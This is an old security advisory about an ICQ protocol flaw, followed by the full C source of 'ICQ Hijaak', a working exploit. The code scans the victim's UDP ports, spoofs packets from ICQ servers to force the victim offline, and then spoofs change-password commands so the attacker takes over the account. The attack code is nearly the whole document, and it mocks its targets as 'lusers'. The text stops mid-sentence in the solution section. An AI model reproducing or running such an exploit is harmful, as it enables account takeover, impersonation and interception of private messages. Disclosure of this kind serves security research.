COMMAND
ICQ
SYSTEMS AFFECTED
Win systems
PROBLEM
wumpus posted following. Mirabilis has been extremely negligent
in fixing protocol holes, and this allows accounts to be subverted
with possible leaks of information. Merely by leaving your ICQ
application logged in ( Java _or_ Win32 ) your account can be
hijaaked (the password changed withoyt knowing the original). An
attacker can then use that account to obtain information from
people contacting you, or to do other inappropriate things which
would result in the account being terminated. This exploit has
been tested with 1.22 to 1.26 and still works. This exploit has
rather simplistic UDP scanning code... if it doesn't work (ie,
against .se hosts ), then you can't hijaak them. Lastly, even a
Windows user can get anyone's IP from ICQ by sending a message to
their UIN, and doing a netstat.
/*
ICQ Hijaak
Version 1C
Author: wumpus@innocent.com
Copyright (c) 1998 Wolvesbane
By downloading or compiling this program, you agree to the terms
of this license. If you do not agree with any of these terms you
MUST delete this program immediately from all storage areas
(including browser caches).
(A) You agree not to use this program in any way that would
constitute a violate of any applicable laws. This may
included federal laws if you live in the United States and
similar laws regarding computer security in other countries.
(B) You agree to hold the authors (referred to collective as
Wolvesbane) harmless in any damages that result due to your
possession or use of this software.
(C) Wolvesbane does not claim that this program implements any
functions. As the saying goes, "You get what you pay for." --
And you didn't pay anything for this.
(D) This software is FREE for _NON-COMMERCIAL_ use. You may not
use this program for any commercial use (or any other activity
which makes you money with the assistance of this program).
The author is not interested in commercial use of this program
(and cannot think of what commercial use would consist of).
(E) This program was created using Linux with IP-Masquerading to
run the ICQ program unmodified and without any dissassembly.
The testing was done with volunteers, and with a second
computer logged into the ICQ network. No ICQ users were
harmed in the creation or testing of this program.
(F) This copyright applies only to the code written by Wolvesbane,
and not to anything included under Fair Use.
(G) Please note that if you use ANY sections of this code in your
work, (which I expressly allow as long as it is
NON-COMMERCIAL), you are obligated to give me some credit in
your comments (if it is a source file ) or in a string
constant if it is a binary file. If you do not wish to do so,
you may NOT include ANY portion of this file in your own work.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h> /* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
int * addr_count,
struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int u16;
typedef unsigned long int u32;
typedef unsigned char u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES 255
int Resolve( char * hostname, struct in_addr * addr ) {
struct hostent * hinfo;
(void)memset( (void *)addr, 0, sizeof( struct in_addr ));
if ( inet_aton( hostname, addr) ) return SUCCESS;
if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
(void)memcpy( (void *)addr, (void *)hinfo->h_addr,
sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
struct in_addr ** addresses ) {
int host_count;
int i;
char * p;
struct in_addr address;
struct hostent * hinfo;
if ( inet_aton( hostname, &address ) ) {
p = (char *)malloc(sizeof(address));
if ( !p ) {
fprintf(stderr,"MultiResolve: Allocation failed!\n");
return FAILURE;
}
(void)memcpy((void *)p,(void *)&address, sizeof(address) );
*addr_count = 1;
*addresses = (struct in_addr *)p; return SUCCESS; }
if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
if ( hinfo->h_length != sizeof( struct in_addr ) ) {
fprintf(stderr,"MultiResolve: h_length (%d) not equal "\
"to size of struct inaddr (%d) ",
hinfo->h_length, sizeof(struct in_addr) );
return FAILURE;
}
host_count = 0;
for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
struct in_addr * addr_ptr;
addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
if ( !addr_ptr )
break;
host_count++;
}
p = (char *)malloc( host_count * hinfo->h_length );
if ( !p ) {
fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
host_count * hinfo->h_length );
return FAILURE;
}
*addresses = (struct in_addr *)p;
for ( i = 0; i < host_count; i++ ) {
(void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
hinfo->h_length ); p += hinfo->h_length; }
*addr_count = host_count; return SUCCESS; }
#define IP_VERS 0
#define IP_TOS 1
#define IP_TOTLEN 2
#define IP_ID 4
#define IP_FLAGS 6
#define IP_TIMETOLIVE 8
#define IP_PROTOCOL 9
#define IP_CHECKSUM 10
#define IP_SRC 12
#define IP_DST 16
#define IP_END 20
#define UDP_SOURCE 0
#define UDP_DEST 2
#define UDP_LENGTH 4
#define UDP_CHECKSUM 6
#define UDP_END 8
#define UCHDR_SOURCE 0
#define UCHDR_DEST 4
#define UCHDR_PROTOCOL 9
#define UCHDR_UDPLEN 10
#define UCHDR_END 12
#define ICMP_TYPE 0
#define ICMP_CODE 1
#define ICMP_CHECKSUM 2
#define ICMP_END 4
u16 cksum( u16 * buf, int numWords ) {
u32 sum;
sum = 0; while ( numWords -- ) { sum += *(buf++); }
sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
return ~sum ; }
void make_ip_hdr( u8 * packet, int length, u8 protocol,
u16 id, u16 flags, struct in_addr me,
struct in_addr you, u8 ttl ) {
memset( packet, 0, IP_END );
byte(*packet, IP_VERS ) = 0x45;
word(*packet, IP_TOTLEN ) = htons( length );
byte(*packet, IP_TIMETOLIVE ) = ttl;
byte(*packet, IP_PROTOCOL ) = protocol;
word(*packet, IP_ID ) = htons( id );
word(*packet, IP_FLAGS ) = htons( flags );
dword(*packet,IP_SRC ) = *((u32 *)&me);
dword(*packet,IP_DST ) = *((u32 *)&you);
word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr( u8 * packet, int udplength, u16 sport,
u16 dport ) {
u8 * udp;
static u8 chdr[UCHDR_END];
u32 pchecksum;
memset( chdr, 0, UCHDR_END );
udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
memset( udp, 0, UDP_END );
word(*udp, UDP_SOURCE ) = htons( sport );
word(*udp, UDP_DEST ) = htons( dport );
word(*udp, UDP_LENGTH ) = htons( udplength );
memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
+ (udplength&1)) ) & 0xFFFF; pchecksum += ( pchecksum >> 16 );
word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
int s;
int option;
s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
if ( s < 0 ) { perror("Socket:"); exit(-1); }
option = 1;
if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
(char *)&option, sizeof( option ) ) < 0 ) {
perror("Setting IP_HDRINCL"); exit(0); }
return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
struct sockaddr_in laddress;
struct sockaddr * laddr = (struct sockaddr *)&laddress;
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr *)&raddress;
int s;
int err;
int len;
s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( s < 1 ) {
return FAILURE;
}
raddress.sin_port = htons( 1984 ); /* DON'T CARE */
raddress.sin_family = AF_INET;
raddress.sin_addr = remote;
err = connect(s, raddr, sizeof(raddress ));
if ( err < 0 ) {
return FAILURE;
}
len = sizeof(laddress);
err = getsockname(s, laddr, &len );
if ( err < 0 ) {
return FAILURE;
}
*local = laddress.sin_addr;
close(s);
return SUCCESS;
}
int CreateICMPSocket( void )
{
int s;
s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
if ( s < 1 )
return FAILURE;
return s;
}
int SendUDP( int s, struct in_addr source, struct in_addr dest,
u16 sport, u16 tport )
{
static u8 packet[576];
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr *)&raddress;
int psize;
int err;
raddress.sin_port = htons( 1984 ); /* DON'T CARE */
raddress.sin_family = AF_INET;
raddress.sin_addr = dest;
psize = IP_END + UDP_END + 6;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
source, dest, 0x7F );
make_udp_hdr( packet, psize - IP_END, sport, tport);
err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
if ( err != psize ) {
perror("Sending");
return FAILURE;
}
return SUCCESS;
}
const int verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
int s_icmp;
struct timeval start_time, end_time, wait_time;
fd_set rdfs;
int err;
static u8 packet[1500]; /* should be max MTU */
struct sockaddr junkaddr;
int junksize;
u8 * icmphdr;
u8 * fiphdr;
u8 * fudphdr;
int len;
int got_unreach;
struct in_addr localaddr;
int rawsock;
if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
perror("GetLocalAddress"); exit(-1); }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) { perror("Getting ICMP socket"); exit(-1); }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
perror("Sending UDP packet"); exit(-1); }
got_unreach = 0; gettimeofday( &start_time, NULL );
do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
if ( !err ) break;
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, 1500, 0,
&junkaddr, &junksize );
if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
exit(-1); }
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
goto check_timeout;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
goto check_timeout;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) ) )
goto check_timeout;
fudphdr = fiphdr + len;
if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
got_unreach = 1; break; }
check_timeout:
gettimeofday( &end_time, NULL );
} while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
close( s_icmp ); close( rawsock);
if ( got_unreach ) return FAILURE;
else return SUCCESS;
}
typedef struct foobar
{
int next;
int prev;
u16 rem_port;
int times;
} port_info;
#define MAX_BURST 128
#define UNUSED_HEAD MAX_BURST + 1
#define UNUSED_TAIL MAX_BURST + 2
#define LIVE_HEAD MAX_BURST + 3
#define LIVE_TAIL MAX_BURST + 4
#define FIRST_LPORT 55000
#define SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
int unused_head;
int unused_tail;
int live_head;
int live_tail;
int i;
port_info List[ LIVE_TAIL + 1 ];
int Current[ MAX_BURST ];
int cur_min, cur_max;
int now_port;
int delay;
int my_port;
int cur_send;
struct timeval wait_time;
fd_set rdfs;
int err;
int s_icmp, rawsock;
struct in_addr localaddr;
*tport = 0;
if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
perror("GetLocalAddress"); return FAILURE; }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) {
perror("Getting ICMP socket"); return FAILURE; }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) {
perror("Getting Raw socket"); return FAILURE; }
FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs );
List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
List[ UNUSED_HEAD ].next = UNUSED_TAIL;
List[ UNUSED_HEAD ].rem_port = 0;
for ( i = 0; i < MAX_BURST ; i++ ) {
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
TIMES( i ) = SEND_COUNT; }
now_port = start;
cur_min = now_port;
cur_max = MAX_BURST;
my_port = FIRST_LPORT;
cur_send = 16;
while ( 1 ) {
int cur;
int cnt;
cur_max = cur_send;
cur_min = now_port;
cur = List[ LIVE_HEAD ].next;
cnt = 0;
while ( NEXT(cur) != -1 ) {
if (!cur_max ) {
break;
}
cnt++;
if ( SendUDP(rawsock, localaddr, addr,
my_port, PORT(cur) ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
cur_max--;
TIMES(cur)--;
cur = NEXT(cur);
if ( NEXT(cur) > LIVE_TAIL ) {
printf("Ugh! %d \n", NEXT(cur) );
exit(-1);
}
}
for ( i = 0; i < cur_max ; i ++ ) {
int node;
if ( cur_min > end )
break;
node = NEXT( UNUSED_HEAD );
if ( -1 == NEXT( node ) )
break;
NEXT( UNUSED_HEAD ) = NEXT( node );
PREV( NEXT(node) ) = UNUSED_HEAD;
PREV( node ) = PREV( LIVE_TAIL );
NEXT( node ) = LIVE_TAIL;
NEXT( PREV( node ) ) = node;
PREV( NEXT( node ) ) = node;
PORT( node ) = cur_min + i;
if ( SendUDP(rawsock, localaddr, addr,
my_port, cur_min+i ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
Current[ i ] = node;
}
if ( ( now_port >= end ) &&
( !cnt ) ) {
printf("Found nothing!\n");
return SUCCESS;
}
now_port += cur_max;
/*
* Delay, waiting for responses. Continue until the
* operation times out, meaning that we waited long enough
* for a packet..
*/
cnt = 0;
while ( 1 ) {
int junksize;
static struct sockaddr junkaddr;
static u8 packet[1500];
int len;
u8 * icmphdr, * fiphdr, *fudphdr;
int got_port;
int cur;
wait_time.tv_usec = 0;
wait_time.tv_sec = 5;
FD_SET( s_icmp, &rdfs );
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time ); if ( -1 == err ) {
perror("UDPSCAN - Select");
return FAILURE;
}
if ( !err ) {
break;
}
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, sizeof(packet), 0,
&junkaddr, &junksize );
if ( -1 == err ) {
perror("UDPSCAN - recvfrom: ");
exit(-1);
}
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
continue;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
continue;
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) !=
*((u32 *)&addr) ) ) )
continue;
fudphdr = fiphdr + len;
got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
if ( ( got_port >= cur_min ) &&
( got_port < (cur_min+cur_max) ) ) {
cur = Current[ got_port - cur_min ];
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
PREV( NEXT( cur ) ) = cur;
cnt++;
continue;
}
/*
* if we get here, then it was one of the older
* ones, so look through the array for it
*/
cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if ( PORT(cur) == got_port ) {
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
break;
}
cur = NEXT(cur);
}
if ( NEXT(cur) == -1 ) {
printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
got_port);
} else {
cnt++;
}
}
printf("[UDP Scan working] Got %d responses \n", cnt );
if ( cnt < ( (cur_send/4) * 3 ) ) {
cur_send /= 2;
if ( cur_send < 16 ) {
cur_send = 16;
}
} else {
cur_send *= 2;
if ( cur_send > MAX_BURST ) {
cur_send = MAX_BURST;
} } cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if (!TIMES(cur) ) {
printf("SCORE! Port is %d \n",PORT(cur));
close( s_icmp );
close( rawsock);
*tport = PORT(cur);
return SUCCESS;
}
cur = NEXT(cur);
}
}
close( s_icmp );
close( rawsock);
return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD 0x049C
#define COMMAND_LOGOFF 0x0438
#define RESPONSE_ERROR 0x00F0
int WritePacket(u8 * data_ptr,
int * size,
char * format,
... )
{
u8 * ptr;
va_list ap;
u32 dword_param;
u16 word_param;
u8 byte_param;
u8 * string_param;
int string_length;
int * data_length;
ap = va_start( ap, format );
ptr = data_ptr;
while ( *format ) {
switch ( *format++ ) {
case 'L': /* dword */
dword_param = va_arg(ap, u32 );
*(ptr++) = dword_param & 0xFF;
*(ptr++) = (dword_param >> 8 ) & 0xFF;
*(ptr++) = (dword_param >> 16) & 0xFF;
*(ptr++) = (dword_param >> 24) & 0xFF;
break;
case 'W': /* word */
word_param = va_arg(ap, u16 );
*(ptr++) = word_param & 0xFF;
*(ptr++) = (word_param >> 8 ) & 0xFF;
break;
case 'B': /* Byte */
byte_param = va_arg(ap, u8 );
*(ptr++) = byte_param;
break;
case 'S': /* ICQ string */
string_param = va_arg(ap, u8 * );
string_length = strlen( string_param ) + 1;
*(ptr++) = (string_length ) & 0xFF;
*(ptr++) = (string_length >> 8) & 0xFF;
memcpy( ptr, string_param, string_length );
ptr += string_length;
break;
case 'D': /* pure data with length byte */
data_length = va_arg(ap, int * );
string_param = va_arg(ap, u8 * );
memcpy( ptr, string_param , *data_length );
ptr += *data_length;
break;
default:
fprintf(stderr,"Invalid type %c \n", *(format-1) );
return FAILURE;
}
}
/* return the size taken up */
*size = (ptr - data_ptr );
return SUCCESS;
}
u32 icq_uin = -1;
u16 icq_seq = 0;
u16 icq_seq2 = 0;
#define ICQ4_VER 0
#define ICQ4_RANDOM 2
#define ICQ4_ZERO 4
#define ICQ4_COMMAND 6
#define ICQ4_SEQ 8
#define ICQ4_SEQ2 10
#define ICQ4_UID 12
#define ICQ4_CHECK 16
#define ICQ4_END 20
void create_icq4_hdr(
u8 * data_ptr,
u16 any_number,
u16 command,
int data_size
)
{
u32 check;
u32 check2;
u32 keyvalue;
int count;
int length;
int i;
u8 ofs;
u8 val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
u32 * r;
if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
*r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}
void create_icq3_header( u8 * data_ptr, int * size, u16 command,
u16 seq1, u16 seq2, u32 UIN )
{
int len, len2, err, ofs, val;
u32 check, check2;
err = WritePacket( data_ptr,&len, "WWWWL",
0x03, command, seq1, seq2, UIN );
if ( err == FAILURE ) {
printf("Programmer Error in create_icq3_header\n"); exit(-1); }
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % len; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256;
val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val );
check2 ^= 0x00FF00FF; check ^= check2;
err = WritePacket( (data_ptr + len),&len2,"L", check );
*size = len + len2; }
static u8 packet[ 1500 ];
void main( int argc, char ** argv );
void main( int argc, char ** argv )
{
int count;
int i;
u16 j, k;
struct in_addr * addr_list;
struct in_addr * target_list;
int err;
struct in_addr you;
struct in_addr me;
int rawsock;
struct sockaddr raddr;
struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
int size;
u8 * data_ptr;
u8 * hdr_ptr;
int hdr_size;
u16 your_port;
int retries;
int base_port;
if ( argc < 5 ) {
fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author: wumpus@innocent.com * Copyright (c) 1998 Wolvesbane\n"
"Usage: \n"
" hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server: Packets will be *spoofed* from the (possibly plural) \n"
" IP addresses of this parameter. \n"
"\n"
"target-uin: D'Oh! \n\n"
"target-ip: Finding this is up to you. May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
exit(-1);
}
base_port = 0;
if ( argc > 5 ) { base_port = atoi( argv[5] ); }
if (!base_port) base_port = 1024;
icq_uin = atol( argv[2] );
if ( !icq_uin ) {
fprintf(stderr, "Who do you want me to kill, boss? \n");
exit(-1); }
err = MultiResolve(argv[3],&count,&target_list);
if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
if ( count > 1 ) { fprintf(stderr,
"Hey! Moron! You need to specify an UNAMBIGUOUS victim IP. \n" );
exit(-1); }
you = target_list[0];
free( target_list );
err = MultiResolve(argv[1],&count,&addr_list);
if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
r_in->sin_port = htons( 1984 ); /* DON'T CARE */
r_in->sin_family = AF_INET; r_in->sin_addr = you;
hdr_ptr = packet + IP_END + UDP_END;
rawsock = CreateRawSocket();
printf("** Scanning for luser's ICQ port ...\n");
your_port = base_port;
while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find a target port. Better check that target IP again!\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");
continue; }
break;
}
printf("*** Got luser's port at %d \n", your_port );
create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
0, icq_uin ); retries = 3;
while ( retries-- ) {
printf("Trying to knock luser offline. Attempt %d\n",
3 - retries );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); }
}
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep( 3 ); /* Give 'em some time */
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep(3);
}
printf("Retries is %d \n", retries );
if ( 0 > retries ) { fprintf(stderr,
"Uh Oh! Something ain't working. Can't toast the luser. Sorry, dude.\n");
exit(-1); }
/* more time? how long does it take to reconnect? */
sleep(16);
printf("** Scanning for luser's _new_ ICQ port ...\n");
while ( 1 ) {
err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port! Maybe your target is smarter than you?\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"New UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");
continue; } break; }
printf("*** Got luser's new connection at %d \n", your_port );
printf("*** Hijaaking account now...(*LONG* version)\n");
for ( k = 0; k < 14 ; k++ ) {
for ( j = 0; j < 14 ; j++ ) {
int psize;
icq_seq = k; icq_seq2 = j;
data_ptr = hdr_ptr + ICQ4_END;
WritePacket( data_ptr, &size, "S",argv[4] );
create_icq4_hdr(hdr_ptr, random()&0xFFFF,
COMMAND_CHANGEPASSWORD, size );
hdr_size = ICQ4_END;
for ( i = 0; i < count ; i++ ) {
psize = IP_END + UDP_END + hdr_size + size;
make_ip_hdr( packet, psize, IPPROTO_UDP,
0x666, 0, you, addr_list[i], 0x7F );
make_udp_hdr( packet, psize - IP_END,
your_port, 4000);
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending");
exit(-1); } usleep( 1000 );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) {
perror("Sending");
exit(-1);
} } } }
printf("Disconnecting the remote luser... \n");
create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); } }
free( addr_list );
}
SOLUTION
Mirabilis had a fair warning of this attack. Unfortunately, with
the last four versions this has not been put into place. It would
seem the only way to fix such grave problems with their protocol
is to air it in the public arena.
There are no real workarounds for this problem, although there are
